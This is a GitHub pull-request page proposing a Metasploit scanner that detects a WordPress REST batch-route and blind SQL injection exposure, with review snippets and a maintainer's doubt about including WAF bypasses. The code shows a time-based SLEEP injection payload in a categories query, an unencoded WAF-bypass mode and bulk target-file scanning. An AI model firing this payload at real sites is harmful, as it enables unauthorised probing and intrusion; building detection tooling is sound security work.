Add WordPress wp2shell exposure scanner (CVE-2026-63030 + CVE-2026-60137) - #21761
Add WordPress wp2shell exposure scanner (CVE-2026-63030 + CVE-2026-60137)#21761M4xSec wants to merge 1 commit into
Conversation
…137) Non-destructive scanner for WordPress REST API Batch Route Confusion and Blind SQLi. Supports single target and batch file scan modes with optional SQLi timing confirmation and Cloudflare WAF bypass.
There was a problem hiding this comment.
Pull request overview
Adds a new Metasploit auxiliary HTTP scanner module to non-destructively detect WP2Shell exposure conditions (REST API batch route accessibility plus optional timing-based SQLi confirmation) and includes end-user documentation under documentation/modules/.
Changes:
- Introduces
auxiliary/scanner/http/wp_wordpress_batch_sqlifor WordPress version fingerprinting, batch route probing, and optional SQLi timing confirmation. - Adds bulk scan support via
TARGET_FILE(one domain/IP per line with DNS resolution + automatic VHOST). - Documents setup, options, and usage scenarios for single-target, bulk, and WAF-bypass modes.
Impact Analysis: isolated change; no meaningful downstream impact identified from diff.
Reviewed changes
Copilot reviewed 2 out of 2 changed files in this pull request and generated 4 comments.
| File | Description |
|---|---|
| modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.rb | New scanner module implementing fingerprinting, batch route check, optional SQLi timing probe, and bulk target-file scanning. |
| documentation/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.md | New module documentation describing vulnerable ranges, options, and example runs (single, bulk, WAF bypass). |
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
| def run | ||
| if datastore['TARGET_FILE'] | ||
| run_file_scan | ||
| elsif datastore['RHOSTS'].to_s.strip.empty? | ||
| print_error("Set RHOSTS for single target or TARGET_FILE for batch scan") | ||
| return | ||
| else | ||
| scan_current_target | ||
| end | ||
| end |
| def run_file_scan | ||
| targets = [] | ||
| File.readlines(datastore['TARGET_FILE']).each do |line| | ||
| line = line.strip | ||
| next if line.empty? || line.start_with?('#') | ||
| targets << line | ||
| end | ||
|
|
||
| if targets.empty? | ||
| print_error("No targets in #{datastore['TARGET_FILE']}") | ||
| return | ||
| end | ||
|
|
| inject = "0) OR (SELECT 1 FROM (SELECT SLEEP(#{seconds}))x)-- -" | ||
|
|
||
| if datastore['WAF_BYPASS'] | ||
| query_path = "/wp/v2/categories?author_exclude=#{inject}" | ||
| else | ||
| query_path = "/wp/v2/categories?author_exclude=#{Rex::Text.uri_encode(inject)}" | ||
| end |
| parts = ver.split('.').map(&:to_i) | ||
| severity = nil | ||
| cve = nil | ||
| if parts[0] == 6 && parts[1] == 8 && (parts[2] || 0) <= 5 | ||
| severity = 'SQLi' | ||
| cve = 'CVE-2026-60137' | ||
| elsif parts[0] == 6 && parts[1] == 9 && (parts[2] || 0) <= 4 | ||
| severity = 'RCE' | ||
| cve = 'CVE-2026-63030' | ||
| elsif parts[0] == 7 && parts[1] == 0 && (parts[2] || 0) <= 1 | ||
| severity = 'RCE' | ||
| cve = 'CVE-2026-63030' | ||
| end |
|
I am still not sure WAF bypasses belong in modules, and this does need some work to get it to work as a Metasploit scanner. |
Summary
Companion scanner module for the wp2shell exploit (PR #21760). Non-destructive detection of:
author__not_inAffects WordPress 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1. Fixed in 6.8.6, 6.9.5, 7.0.2.
Features
CONFIRM_SQLI)TARGET_FILE) — one domain per line, auto DNS resolution + VHOSTFiles
modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.rb— scanner moduledocumentation/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.md— documentationVerification
Tested against WordPress 6.9.0 Docker lab (with and without ModSecurity WAF):
WAF bypass (ModSecurity CRS on port 9999):
Test Environment
Same Docker lab as the exploit module: https://github.com/M4xSec/wp2shell-lab